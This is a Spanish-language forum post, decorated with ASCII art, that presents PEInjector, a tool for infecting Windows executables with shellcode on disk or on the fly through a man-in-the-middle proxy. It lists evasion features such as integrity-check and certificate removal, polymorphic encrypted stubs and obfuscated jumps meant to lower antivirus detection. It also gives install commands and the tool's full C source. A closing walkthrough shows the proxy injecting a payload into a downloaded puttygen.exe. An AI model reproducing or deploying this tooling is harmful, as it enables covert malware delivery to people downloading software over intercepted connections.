Código:
,x-"F ] Ax^" q hp" `u jM""u a^ ^, j" "*g_ p ^mg_ N "-x,
jLs*^6 `_ _&*" q _,NF "wp" "*g" _NL_ p "-d_ F ]"*u_F
] J_,x-E 3_ jN^" `u _w^*_ _R"""R_ _J^w_ j" "pL_ f 7^-L_F #__
w*^0 4 9__sAF" `L _Dr" m__m""q_,,_a^"m__* "qA_ j" ""Au__f J 0^
#_,J@^""p `_ _jp-""q _Dw^" ^cj*" "*,j^ "p#_ y""^wE_ _F F"^qN,_j
L ] k,w@#"""_ "_a*^E ba-" ^qjqj-""^pe" J^-u_f _f "q@w,j f jL _
-,Jp*^#""9 L 5_a*N"""q__INr" "q_e^"^"*,p^""qME_ y"""p6u,f j' f "N^--LL
_ t J __,Jb--N""", *_s0M`""q_a@NW_@@_JP^u_p"""p4a,p" _F""V--wL,_F_ F #
r#^^0""E" 6 q q__hg-@4""*,_Z*q_"^pwpwr""p*C__@""0N-qdL_p" p J" 3""5^^0r-
F Jp 9__b__M,Juw*w*^#^9#""EED*dP_@EZEZ@^E@*#EjP"5M"gM@p*Ww&,jL_J__f F j
rNrr4r*pr4r@grNr@q@Ng@q@N0@N#@NNMpmgg@@ggmqgNN@NN@#@4p*@M@p4qp@w@m@Mq@r#rq@r
j L 6 9""Q"#^q@NDNNNMpg---- ----gggNNW#W4p^p@jF"P"]"j F
a0,3_j_j_9FN@N@0NMp-- --ggNZNrNM"P_f_f_E,0a
"0^#-LJ_9"NNNMp-- -gN#@#"R_#g@q^9"
_F`@q4WBN@Np- -gNN@ZL#p"Fj_
JLE5@WRNp g@NNNF3_L
4JF@NNp- ---------------------------------------------------------- -g0WNNL@
40NNh- ____ _____ _____ _____ _____ _____ ____ _____ _____ -gN#B0
NN#p | \| | __| | | | __| _ | \| __| __ | j0NN
## | | | | |__ | | | __| | | | __| -| d#
J# |____/|_____|_____| |__|__|_____|__|__|____/|_____|__|__| #L
J# #L
J# ---------------------------------------------------------------------------- #L
J# _____ _____ _____ _____ _____ ____ _____ _____ #L
J# | _ | __| | | | __| _ | \| __| __ | #L
J# | __| __| | | __| | | | __| -| #L
J# |__| |_____| |__|_ _,.-----.,_ |____/|_____|__|__| #L
J# ,-~ ~-. #L
'# --------------------------------- ,^___ ___^. -------------------------------- #'
t# _____ _____ _____ _____ _____ /~" ~" . "~ "~\ _____ _____ ____ _____ _____ #j
t# | | _ |_ _| | | Y ,--._ I _.--. Y __| _ | \| __| __ | #j
t# | | | __| | | |- -| | | | Y ~-. | ,-~ Y | __| | | | __| -| #j
t# |_____|__| |_| |_____|_____| | | }:{ | | _____|__|__|____/|_____|__|__| #j
.# j l / | \ ! l #'
Y#---------------------------- .-~ (__,.--" .^. "--.,__) ~-. -------------------------- #Y
Y# _____ _____ _____ ___( / / | \ \ ) _ _____ __ _____ #Y
Y# | __| __| |_ \.____, ~ \/"\/ ~ .____,/ | __ | | | __| #Y
Y# |__ | __| --| | | ^.____ ____.^ | __ -| |__| __| #Y
Y# |_____|_____|_____| |_| |_ | |T ~\ ! ! /~ T| | |__|__|_____|_____|_____| #Y
Y# | |l _ _ _ _ _ !| | #Y
Y#, ------------------------ | l \/V V V V V V\/ j | ----------------------- ,#Y
Y# _____ _____ _ l \ \|_|_|_|_|_|/ / ! ___ ___ #Y
t# | __| __| \ \[T T T T T TI/ / | | | | #j
t# |__ | __| -\ `^-^-^-^-^-^' / | | | | | | #j
t# |_____|_____|____ \ / |_|___| |___| #j
t# \. ,/ #j
t# ------------------------------ "^-.___,-^" ----------------------------- #j
t# _____ _____ _____ _____ _____ _____ _____ ___ #j
t# | __| __| |_ _| | | | | |_ | #j
t# |__ | __| --| | | |- -| | | | | | _| |_ #j
t# |_____|_____|_____| |_| |_____|_____|_|___| |_____| #j
'#_ #'
##_ --------------------------------------------------------------------- d#
NN#p _____ _____ _____ _____ _____ _____ _____ _____ j0NN
40NNh_ | __| __| |_ _| | | | | | | | _gN#B0
4JF@NNp_ |__ | __| --| | | |- -| | | | | | | | | | _g0WNNL@
JLE5@WRNp_ |_____|_____|_____| |_| |_____|_____|_|___| |_|___| _g@NNNF3_L
_F`@q4WBN@Np_ _gNN@ZL#p"Fj_
"0^#-LJ_9"NNNMp__ ----------------------------------------- _gN#@#"R_#g@q^9"
a0,3_j_j_9FN@N@0NMp__ __ggNZNrNM"P_f_f_E,0a
j L 6 9""Q"#^q@NDNNNMpg____ ____gggNNW#W4p^p@jF"P"]"j F
rNrr4r*pr4r@grNr@q@Ng@q@N0@N#@NNMpmgg@@ggmqgNN@NN@#@4p*@M@p4qp@w@m@Mq@r#rq@r
F Jp 9__b__M,Juw*w*^#^9#""EED*dP_@EZEZ@^E@*#EjP"5M"gM@p*Ww&,jL_J__f F j
-r#^^0""E" 6 q q__hg-@4""*,_Z*q_"^pwpwr""p*C__@""0N-qdL_p" p J" 3""5^^0r-
t J __,Jb--N""", *_s0M`""q_a@NW_@@_JP^u_p"""p4a,p" _F""V--wL,_F_ F #
_,Jp*^#""9 L 5_a*N"""q__INr" "q_e^"^"*,p^""qME_ y"""p6u,f j' f "N^--LL_
L ] k,w@#"""_ "_a*^E ba-" ^qjqj-""^pe" J^-u_f _f "q@w,j f jL
#_,J@^""p `_ _jp-""q _Dw^" ^cj*" "*,j^ "p#_ y""^wE_ _F F"^qN,_j
w*^0 4 9__sAF" `L _Dr" m__m""q_,,_a^"m__* "qA_ j" ""Au__f J 0^--
] J_,x-E 3_ jN^" `u _w^*_ _R"""R_ _J^w_ j" "pL_ f 7^-L_F #
jLs*^6 `_ _&*" q _,NF "wp" "*g" _NL_ p "-d_ F ]"*u_F
,x-"F ] Ax^" q hp" `u jM""u a^ ^, j" "*g_ p ^mg_ N "-x,
Infecta ejecutables de Windows
PEInjector, es una herramienta que puede infectar ejecutables de Windows (PE COFF) y que además incluye un proxy (interceptor) que también es capaz de modificar los ejecutables al "vuelo" pero mucho más completo y con mayor rendimiento: parcheo más transparente, infección ELF o MACH-O, PE code cave jumping, parcheo IAT y otros métodos de parcheo más "estáticos".
Características generales
- Soporte de archivos PE x64 y x86.
- Código abierto.
- Totalmente funcional en Windows y Linux, incluyendo scripts de instalación automatizada.
- Puede funcionar en hardware embebido, probado en una Raspberry Pi 2.
- En Linux, todos los servidores se integrarán automáticamente como servicio, sin necesidad de configuración manual.
- Escrito en C plano, no se requieren librerías externas (PEInjector).
- La integración MiTM está disponible en C, Python y Java. Se incluye un ejemplo de implementación en Python.
- Facilidad de uso. Cualquier persona que pueda configurar un router en casa podrá configurar el servidor de inyector.
- Creador de shellcodes integrado y de fácil uso. Todos los shellcodes disponibles en 32 y 64bits con cifrado automático opcional.
- Podemos personalizar nuestro propio código shell e inyectarlo directamente o como un nuevo thread.
- Elimina las comprobaciones de integridad tales como los checksums de la cabecera del PE, certificados, force-check-checksum-flag, ...
- Intenta inyectar el shellcode al final de la sección del ejecutable. Esto es posible debido al gap entre el valor SizeOfRawData y VirtualSize.
- Intentar redimensionar el tamaño de la sección del ejecutable e inyectar ahí el shellcode. Esto es posible debido al gap entre el valor FileAlignment y SectionAlignment.
- Inserta una nueva sección e inyecta ahí el shellcode.
- Trata de descubrir si el ejecutable puede detectar la infección (por ejemplo, configuraciones NSIS) y salta el ejecutable.
- Genera un nombre aleatorio para las secciones creadas por el flag del "nuevo nombre de la sección".
- Cifra el payload con claves aleatorias. El stub de descifrado es generado y ofuscado individualmente sobre la marcha para cada inyección, utilizando el motor polimórfico integrado.
- Inyecta el shellcode con uno de los métodos seleccionados e inserta un salto ofuscado al payload en otra sección. En principio el PE no apunta al shellcode porque puede aumentar la tasa de detección heurística de algún AV (por defecto: OFF).
Código:
----- peinjector ----- ^^
+ configuration
| payload
| ...
+-----------v------------+
+-------+ | |
| PATCH <-------+ libpeinfect <--+
+-------+ | | |
+-----------+------------+ |
| |
+-----------v------------+ |
| | |
+---------------> libpetool | |
| change values | | |
| add sections +-----------^------------+ |
| resize sect. | |
+ ... +----v----+ |
| PEFILE +----------+
+----^----+
|
+-----------v------------+
PE File data | | PE File data
+---------------> libpefile +--------------->
| |
+------------------------+
libpetool: Proporciona modificaciones más complejas (añadir/cambiar el tamaño de las secciones). Mantiene compatibles los valores de la cabecera PE COFF.
libpeinfect: Proporciona diferentes métodos de infección, elimina comprobaciones de integridad, certificados, etc. Puede infectar totalmente un archivo (de forma estática, por ejemplo, desde el disco) o generar un parche (para la infección por MITM). Los conectores que trabajan con estos parches están disponibles en C, Python y Java. El archivo infectado mantiene su funcionalidad original.
Arquitectura
PEInjector incluye de tres componentes: servidor, interfaz web (webgui) y proxy. Los puertos por defecto que se utilizan son:
3333: python webserver (GUI)
31337: puerto de datos de PEInjector (communication proxy <-> PEInjector)
31338: puerto de control de PEInjector (communication GUI <-> PEInjector)
8080: proxy
Código:
----- servers ----- ^^
+-----------------+-+
| web browser |X|
+-------------+ +-----------------+-+
| peinjector- | | _____ |
------->+ interceptor +---------> | / \ |
-orig.->+ (MITM) +-patched-> | | () () | |
-data-->+ +-data----> | \ ^ / |
------->+ +---------+ +---------> | ||||| |
| |connector| | | |
+-+-+-----^-+-+ +-----+------^------+
raw | | send | | get
header | | patch config | | status
| | | |
+-+-v-----+-+-+ +-+---v------+---+-+
| |data port| | | |http(s) server| |
| +---------+ | | +--------------+ |
| peinjector | | |
| (core +---+ crtl +---+ peinjector- |
| engine) |c p| protocol |c p| control |
| |r o+----------->r r| (user |
| |t r<-----------+t o| interface) |
| |l t| |l .| |
+---------+---+ +---+--------------+
Descargamos el programa
Instalamos peinjector-server que provee parcheo de ejecutables como servicio:
Cita:
peinjector-server: Proporciona parcheo de ejecutables PE como un servicio. Sólo tienes que enviar la cabecera abierta de su archivo PE y recibirá un parche hecho a medida para él. Puede ser controlado remotamente a través de un protocolo de comandos. |
Código:
cd /pruebas/peinjector/peinjector/install/
sudo chmod a+x peinjector_install.sh
sudo ./peinjector_install.sh
root@kali:~/pruebas/peinjector/peinjector/install# service peinjector status
â peinjector.service - LSB: peinjector server
Loaded: loaded (/etc/init.d/peinjector)
Active: active (running) since Mon 2015-09-14 04:38:18 EDT; 40s ago
Process: 1970 ExecStart=/etc/init.d/peinjector start (code=exited, status=0/SUCCESS)
CGroup: /system.slice/peinjector.service
ââ1974 /usr/bin/peinjector --server
Cita:
peinjector-control: Interfaz web para configurar y controlar un servidor peinjector. Un pequeño shellcode fabricado con algunos shellcodes básicos, automaticamente la encriptación/ofuscación y generación de hilos es proporcionado - alternativamente, El ShellCode personalizado puede ser inyectado. |
Código:
cd /tmp/peinjector/pe-injector-control/install/
sudo chmod a+x peinjector-control_install.sh
sudo ./peinjector-control_install.sh
root@kali:~/pruebas/peinjector/pe-injector-control/install# service peinjector-control status
â peinjector-control.service - LSB: peinjector-control server
Loaded: loaded (/etc/init.d/peinjector-control)
Active: active (running) since Mon 2015-09-14 04:40:36 EDT; 58s ago
CGroup: /system.slice/peinjector-control.service
ââ2109 python3 ./peinjector_control.py
Sep 14 04:40:36 kali peinjector-control[2105]: Start peinjector-control server
peinjector-interceptor: Ejemplo de Integración MITM. Basado en Python y libmproxy, apoya la interceptación SSL, puede actuar como proxy transparente, proxy HTTP, .... Proporciona capacidades de parcheo PE sin uniones.
Código:
cd /tmp/peinjector/pe-injector-interceptor/install/
sudo chmod a+x peinjector-interceptor_install.sh
sudo ./peinjector-interceptor_install.sh
root@kali:~/pruebas/peinjector/pe-injector-interceptor/install# service peinjector-interceptor status
â peinjector-interceptor.service - LSB: peinjector-interceptor server
Loaded: loaded (/etc/init.d/peinjector-interceptor)
Active: active (running) since Mon 2015-09-14 04:43:38 EDT; 24s ago
Process: 6252 ExecStart=/etc/init.d/peinjector-interceptor start (code=exited, status=0/SUCCESS)
CGroup: /system.slice/peinjector-interceptor.service
ââ6256 python2 ./peinjector_interceptor.py
Sep 14 04:43:38 kali peinjector-interceptor[6252]: Start peinjector-interceptor server
Cambia el certificado del interfaz web por uno propio:
Código:
sudo openssl req -new -x509 -keyout /etc/peinjector-control/cert_example_do_not_use_this.pem -out /etc/peinjector-control/cert_example_do_not_use_this.pem -days 365 -nodes
sudo service peinjector-control stop
sudo service peinjector-control start
- Ve a https://{your_ip}:3333/settings.htm
- Pon una contraseña para el usuario 'admin'
- Activa la autenticación (enable authentication)
- USER: admin; PASS: {your_pass}
Asocia los puertos de peinjector a localhost para que sólo el webgui y el proxy puedan conectarse al servidor de peinjector (recomendable):
- Ve a https://{your_ip}:3333/injector.htm
- Haz clic en el botón local (interfaz de control)
- Haz clic en el botón local (interfaz de datos)
- Haz clic en el botón de reinicio para reiniciar el peinjector
Codigo Fuente
Código:
/**
* \file peinjector.c
* \author A.A.
* \brief PE infection test tool
*/
#include "libpetool.h"
#include "libpeinfect.h"
#include "libpeserver.h"
#include "3rdparty/ini/minIni.h"
#include <stdio.h>
#include <stdlib.h>
#ifdef _WIN32 /* Windows/Linux Switch */
#include "windows.h"
#endif
/* Config Names */
#define CONFIG_FILE "config.ini"
#define PAYLOAD_FILE_X86 "payload_x86.bin"
#define PAYLOAD_FILE_X64 "payload_x64.bin"
/**
* Reads binary file
*
* \param file File to read
* \param memsize Store size of file
*
* \return file memory if success, NULL otherwise
* */
static inline unsigned char* __read_file(char *file, size_t *memsize) {
unsigned char *file_mem;
/* Open file */
FILE *fh = fopen(file, "rb");
if (fh != NULL) {
/* Get file size and allocate buffer */
fseek(fh, 0L, SEEK_END);
size_t size = ftell(fh);
size_t size_read = 0;
rewind(fh);
file_mem = malloc(size);
if (file_mem != NULL) {
/* Load file into buffer */
size_read = fread(file_mem, size, 1, fh);
fclose(fh);
fh = NULL;
if (size_read != 1) {
free(file_mem);
file_mem = NULL;
}
/* Return buffer */
*memsize = size;
return file_mem;
}
/* Close file (if memory allocation has failed) */
if (fh != NULL) {
fclose(fh);
}
}
return NULL;
}
/**
* Configures PEINFCT
*
* \param infect PEINFECT to configure
*
* */
static inline void __load_config(PEINFECT *infect) {
unsigned char *test_code_x86;
size_t test_codesize_x86 = 0;
unsigned char *test_code_x64;
size_t test_codesize_x64 = 0;
PEINFECT_METHOD methods = 0;
bool random_section_name = false;
size_t section_namesize = 0;
char section_name[NT_SHORT_NAME_LEN] = { 0 };
/* Load integrity options */
peinfect_set_removeintegrity(ini_getl("integrity", "remove_integrity_checks", true, CONFIG_FILE), infect);
peinfect_set_trystaystealth(ini_getl("integrity", "try_stay_stealth", true, CONFIG_FILE), infect);
/* Load statistics options */
peinfect_set_infectcounter(ini_getl("statistics", "infection_counter_x86", 0, CONFIG_FILE), false, infect);
peinfect_set_infectcounter(ini_getl("statistics", "infection_counter_x64", 0, CONFIG_FILE), true, infect);
/* Load methods */
methods |= ini_getl("methods", "method_alignment", true, CONFIG_FILE) ? METHOD_ALIGNMENT : 0;
methods |= ini_getl("methods", "method_alignment_resize", true, CONFIG_FILE) ? METHOD_ALIGNMENT_RESIZE : 0;
methods |= ini_getl("methods", "method_new_section", true, CONFIG_FILE) ? METHOD_NEW_SECTION : 0;
methods |= ini_getl("methods", "method_change_flags", true, CONFIG_FILE) ? METHOD_CHANGE_FLAGS : 0;
methods |= ini_getl("methods", "method_cross_section_jump", false, CONFIG_FILE) ? METHOD_CROSS_SECTION_JUMP : 0;
peinfect_set_methods(methods, infect);
/* Cross section jump iterations */
peinfect_set_jumpiterations(ini_getl("methods", "method_cross_section_jump_iterations", 1, CONFIG_FILE), infect);
/* Encryption */
peinfect_set_encrypt(ini_getl("methods", "encrypt", true, CONFIG_FILE), infect);
peinfect_set_encryptiterations(ini_getl("methods", "encrypt_iterations", 1, CONFIG_FILE), infect);
/* New Section Name */
peinfect_set_sectionname(NULL, 0, (random_section_name = ini_getl("name", "section_name_random", true, CONFIG_FILE)),
infect);
if (!random_section_name) {
section_namesize = ini_gets("name", "section_name", "", section_name, NT_SHORT_NAME_LEN, CONFIG_FILE);
peinfect_set_sectionname(section_name, section_namesize, false, infect);
}
/* Statistics */
peinfect_set_infectcounter(ini_getl("statistics", "infection_counter_x86", 0, CONFIG_FILE), false, infect);
peinfect_set_infectcounter(ini_getl("statistics", "infection_counter_x64", 0, CONFIG_FILE), true, infect);
/* Load shellcode */
test_code_x86 = __read_file(PAYLOAD_FILE_X86, &test_codesize_x86);
test_code_x64 = __read_file(PAYLOAD_FILE_X64, &test_codesize_x64);
/* Set shellcode */
peinfect_set_shellcode(test_code_x86, test_codesize_x86, false, infect);
peinfect_set_shellcode(test_code_x64, test_codesize_x64, true, infect);
/* Free temp. Buffer */
if (test_code_x86 != NULL) {
free(test_code_x86);
}
if (test_code_x64 != NULL) {
free(test_code_x64);
}
}
/**
* Prints PEFILE info
*
* \param in PEFILE to print
*
* */
static inline void __print_info(PEFILE *in) {
int i = 0;
printf("# PE Header #\n");
printf("Signature: %08x\n", in->pe_header.Signature);
printf("Machine: %04x\n", in->pe_header.Machine);
printf("NumberofSections: %04x\n", in->pe_header.NumberOfSections);
printf("TimeDateStamp: %08x\n", in->pe_header.TimeDateStamp);
printf("PointerToSymbolTable: %08x\n", in->pe_header.PointerToSymbolTable);
printf("NumberOfSymbols: %08x\n", in->pe_header.NumberOfSymbols);
printf("SizeOfOptionalHeader: %04x\n", in->pe_header.SizeOfOptionalHeader);
printf("Characteristics: %04x\n", in->pe_header.Characteristics);
printf("\n");
if (in->pe_header.SizeOfOptionalHeader) {
if (in->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
printf("# Optional Header (32 Bit) #\n");
printf("Magic: %04x\n", in->optional_header_32.Magic);
printf("MajorLinkerVersion: %02x\n", in->optional_header_32.MajorLinkerVersion);
printf("MinorLinkerVersion: %02x\n", in->optional_header_32.MinorLinkerVersion);
printf("SizeOfCode: %08x\n", in->optional_header_32.SizeOfCode);
printf("SizeOfInitializedData: %08x\n", in->optional_header_32.SizeOfInitializedData);
printf("SizeOfUninitializedData: %08x\n", in->optional_header_32.SizeOfUninitializedData);
printf("AddressOfEntryPoint: %08x\n", in->optional_header_32.AddressOfEntryPoint);
printf("BaseOfCode: %08x\n", in->optional_header_32.BaseOfCode);
printf("BaseOfData: %08x\n", in->optional_header_32.BaseOfData);
printf("ImageBase: %08x\n", in->optional_header_32.ImageBase);
printf("SectionAlignment: %08x\n", in->optional_header_32.SectionAlignment);
printf("FileAlignment: %08x\n", in->optional_header_32.FileAlignment);
printf("MajorOperatingSystemVersion: %04x\n", in->optional_header_32.MajorOperatingSystemVersion);
printf("MinorOperatingSystemVersion: %04x\n", in->optional_header_32.MinorOperatingSystemVersion);
printf("MajorImageVersion: %04x\n", in->optional_header_32.MajorImageVersion);
printf("MinorImageVersion: %04x\n", in->optional_header_32.MinorImageVersion);
printf("MajorSubsystemVersion: %04x\n", in->optional_header_32.MajorSubsystemVersion);
printf("MinorSubsystemVersion: %04x\n", in->optional_header_32.MinorSubsystemVersion);
printf("Win32VersionValue: %08x\n", in->optional_header_32.Win32VersionValue);
printf("SizeOfImage: %08x\n", in->optional_header_32.SizeOfImage);
printf("SizeOfHeaders: %08x\n", in->optional_header_32.SizeOfHeaders);
printf("CheckSum: %08x\n", in->optional_header_32.CheckSum);
printf("Subsystem: %04x\n", in->optional_header_32.Subsystem);
printf("DllCharacteristics: %04x\n", in->optional_header_32.DllCharacteristics);
printf("SizeOfStackReserve: %08x\n", in->optional_header_32.SizeOfStackReserve);
printf("SizeOfStackCommit: %08x\n", in->optional_header_32.SizeOfStackCommit);
printf("SizeOfHeapReserve: %08x\n", in->optional_header_32.SizeOfHeapReserve);
printf("SizeOfHeapCommit: %08x\n", in->optional_header_32.SizeOfHeapCommit);
printf("LoaderFlags: %08x\n", in->optional_header_32.LoaderFlags);
printf("NumberOfRvaAndSizes: %08x\n", in->optional_header_32.NumberOfRvaAndSizes);
} else if (in->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC) {
printf("# Optional Header (64 Bit) #\n");
printf("Magic: %04x\n", in->optional_header_64.Magic);
printf("MajorLinkerVersion: %02x\n", in->optional_header_64.MajorLinkerVersion);
printf("MinorLinkerVersion: %02x\n", in->optional_header_64.MinorLinkerVersion);
printf("SizeOfCode: %08x\n", in->optional_header_64.SizeOfCode);
printf("SizeOfInitializedData: %08x\n", in->optional_header_64.SizeOfInitializedData);
printf("SizeOfUninitializedData: %08x\n", in->optional_header_64.SizeOfUninitializedData);
printf("AddressOfEntryPoint: %08x\n", in->optional_header_64.AddressOfEntryPoint);
printf("BaseOfCode: %08x\n", in->optional_header_64.BaseOfCode);
printf("ImageBase: %016x\n", (uint32_t) in->optional_header_64.ImageBase);
printf("SectionAlignment: %08x\n", in->optional_header_64.SectionAlignment);
printf("FileAlignment: %08x\n", in->optional_header_64.FileAlignment);
printf("MajorOperatingSystemVersion: %04x\n", in->optional_header_64.MajorOperatingSystemVersion);
printf("MinorOperatingSystemVersion: %04x\n", in->optional_header_64.MinorOperatingSystemVersion);
printf("MajorImageVersion: %04x\n", in->optional_header_64.MajorImageVersion);
printf("MinorImageVersion: %04x\n", in->optional_header_64.MinorImageVersion);
printf("MajorSubsystemVersion: %04x\n", in->optional_header_64.MajorSubsystemVersion);
printf("MinorSubsystemVersion: %04x\n", in->optional_header_64.MinorSubsystemVersion);
printf("Win32VersionValue: %08x\n", in->optional_header_64.Win32VersionValue);
printf("SizeOfImage: %08x\n", in->optional_header_64.SizeOfImage);
printf("SizeOfHeaders: %08x\n", in->optional_header_64.SizeOfHeaders);
printf("CheckSum: %08x\n", in->optional_header_64.CheckSum);
printf("Subsystem: %04x\n", in->optional_header_64.Subsystem);
printf("DllCharacteristics: %04x\n", in->optional_header_64.DllCharacteristics);
printf("SizeOfStackReserve: %016x\n", (uint32_t) in->optional_header_64.SizeOfStackReserve);
printf("SizeOfStackCommit: %016x\n", (uint32_t) in->optional_header_64.SizeOfStackCommit);
printf("SizeOfHeapReserve: %016x\n", (uint32_t) in->optional_header_64.SizeOfHeapReserve);
printf("SizeOfHeapCommit: %016x\n", (uint32_t) in->optional_header_64.SizeOfHeapCommit);
printf("LoaderFlags: %08x\n", in->optional_header_64.LoaderFlags);
printf("NumberOfRvaAndSizes: %08x\n", in->optional_header_64.NumberOfRvaAndSizes);
}
printf("\n");
}
if (in->pe_header.NumberOfSections) {
printf("# Sections #\n");
printf("Name VirtualSize VirtualAddr. SizeofRawData PointerToRawData Characteristics\n");
for (i = 0; i < in->pe_header.NumberOfSections; ++i) {
printf("%-8.*s %08x %08x %08x %08x %08x\n", 8, in->section_header[i].Name,
in->section_header[i].Misc.VirtualSize, in->section_header[i].VirtualAddress,
in->section_header[i].SizeOfRawData, in->section_header[i].PointerToRawData,
in->section_header[i].Characteristics);
}
printf("\n");
}
}
/**
* Prints usage information
*/
static void __print_usage() {
printf(
" <<< Usage >>> \n\
peinjector --info file\n\
peinjector --infect file\n\
peinjector --patch file (Debug Output)\n\
peinjector --server\n\
peinjector --accidentally-forget-entry-point file\n");
}
/**
* Main Routine
*
* \param pcount Number of parameter given
* \param params Parameters given
*
* \returns 0
*/
int main(int pcount, char **params) {
bool restart_server = true;
/* Server */
PESERVER server;
/* Server config */
PECONFIG config;
peserver_init_config(CONFIG_FILE, PAYLOAD_FILE_X86, PAYLOAD_FILE_X64, &config);
/* PE File */
PEFILE mype;
pefile_init(&mype);
PEFILE_READ_OPTIONS read_options;
read_options.header_only = true;
/* PE Inject */
PEINFECT infect;
peinfect_init(&infect);
/* Check Params */
if (pcount == 3) {
/* Statically infect file */
if (strcmp("--infect", params[1]) == 0) {
printf(" <<< Infect >>> \n");
__load_config(&infect);
if (peinfect_infect_full_file(params[2], &infect, params[2])) {
printf("Success\n");
} else {
printf("Error\n");
}
/* Show patch parts (debug) */
} else if (strcmp("--patch", params[1]) == 0) {
printf(" <<< Try patch >>> \n");
__load_config(&infect);
if (peinfect_infect_patch_file(params[2], &infect)) {
printf("Success\n");
} else {
printf("Error\n");
}
/* Show Info */
} else if (strcmp("--info", params[1]) == 0) {
printf(" <<< Info >>> \n");
if (pefile_read_file(params[2], &read_options, &mype)) {
__print_info(&mype);
} else {
printf("Error\n");
}
} else if (strcmp("--accidentally-forget-entry-point", params[1]) == 0) {
printf(" <<< Oooops ... >>> \n");
printf("When I'm drunk I always fuck up PE files entry points ...\n");
if (pefile_read_file(params[2], NULL, &mype)) {
mype.optional_header_32.AddressOfEntryPoint = 0;
mype.optional_header_64.AddressOfEntryPoint = 0;
if (pefile_write_file(&mype, NULL, params[2])) {
printf("Success\n");
} else {
printf("Error writing file\n");
}
} else {
printf("Error parsing file\n");
}
/* Invalid parameter combination */
} else {
__print_usage();
}
} else if ((pcount == 2) && (strcmp("--server", params[1]) == 0)) {
/* Restart loop */
restart_server = true;
while (restart_server) {
/* Init Server */
__load_config(&infect);
if (peserver_init(&infect, &config, &server)) {
/* Wait for termination signal */
restart_server = peserver_wait(&server);
/* Frees the server */
peserver_free(&server);
} else {
/* Couldn't (re)start server, exit */
restart_server = false;
}
}
/*Frees config*/
peserver_free_config(&config);
/* Invalid parameter combination */
} else {
__print_usage();
}
/* Free PEFILE & PEINFECT */
pefile_free(&mype);
peinfect_free(&infect);
return 0;
}
1. Visitamos https://{your_ip}:3333

2. Navegamos a "shellcode" y nos desplazamos abajo a demo (calc).
3. Hacemos clic en "create and send shellcode".

4. Configuramos el navegador para usar el proxy {your_ip}:8080
5. Descargamos cualquier ejecutable, en nuestro ejemplo puttygen.exe.
6. Ejecutamos el fichero exe y comprobamos como el payload ejecuta en segundo plano también la calculadora.


uploaded.net - [code] PEInjector: MITM PE File Injector